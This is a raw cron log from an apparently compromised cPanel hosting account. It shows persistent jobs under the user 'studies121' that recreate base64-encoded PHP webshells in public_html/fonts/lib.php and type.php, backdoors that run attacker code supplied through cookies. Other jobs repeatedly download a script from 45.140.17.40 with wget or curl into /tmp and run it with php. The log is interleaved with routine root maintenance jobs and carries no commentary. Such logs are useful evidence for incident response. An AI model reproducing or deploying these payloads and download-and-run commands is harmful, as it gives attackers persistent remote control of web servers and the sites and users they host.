Sep  4 02:42:01 ip-184-168-122-23 CROND[4934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:43:01 ip-184-168-122-23 CROND[5033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:43:01 ip-184-168-122-23 CROND[5035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:43:01 ip-184-168-122-23 CROND[5037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:43:01 ip-184-168-122-23 CROND[5036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:44:02 ip-184-168-122-23 CROND[5119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:44:02 ip-184-168-122-23 CROND[5121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:44:02 ip-184-168-122-23 CROND[5123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:44:02 ip-184-168-122-23 CROND[5124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:44:02 ip-184-168-122-23 CROND[5125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:45:01 ip-184-168-122-23 CROND[5306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:46:01 ip-184-168-122-23 CROND[5398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:46:01 ip-184-168-122-23 CROND[5402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:46:01 ip-184-168-122-23 CROND[5400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:46:01 ip-184-168-122-23 CROND[5401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:46:01 ip-184-168-122-23 CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:46:01 ip-184-168-122-23 CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 02:46:01 ip-184-168-122-23 CROND[5405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:47:01 ip-184-168-122-23 CROND[5496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:47:01 ip-184-168-122-23 CROND[5495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:47:01 ip-184-168-122-23 CROND[5497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:47:01 ip-184-168-122-23 CROND[5498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:48:01 ip-184-168-122-23 CROND[5587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:48:01 ip-184-168-122-23 CROND[5592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:48:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:48:01 ip-184-168-122-23 CROND[5590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:48:01 ip-184-168-122-23 CROND[5591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:49:01 ip-184-168-122-23 CROND[5674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:49:01 ip-184-168-122-23 CROND[5676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:49:01 ip-184-168-122-23 CROND[5678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:49:01 ip-184-168-122-23 CROND[5677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5764]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:50:01 ip-184-168-122-23 CROND[5772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:50:01 ip-184-168-122-23 CROND[5774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:50:01 ip-184-168-122-23 CROND[5780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:51:01 ip-184-168-122-23 CROND[5866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:51:01 ip-184-168-122-23 CROND[5867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:51:01 ip-184-168-122-23 CROND[5869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:51:01 ip-184-168-122-23 CROND[5870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:52:01 ip-184-168-122-23 CROND[5958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:52:01 ip-184-168-122-23 CROND[5959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:52:01 ip-184-168-122-23 CROND[5962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:52:01 ip-184-168-122-23 CROND[5963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:52:01 ip-184-168-122-23 CROND[5961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:53:01 ip-184-168-122-23 CROND[6048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:53:01 ip-184-168-122-23 CROND[6051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:53:01 ip-184-168-122-23 CROND[6049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:53:01 ip-184-168-122-23 CROND[6052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:54:01 ip-184-168-122-23 CROND[6217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:54:01 ip-184-168-122-23 CROND[6219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:54:01 ip-184-168-122-23 CROND[6220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:54:01 ip-184-168-122-23 CROND[6221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
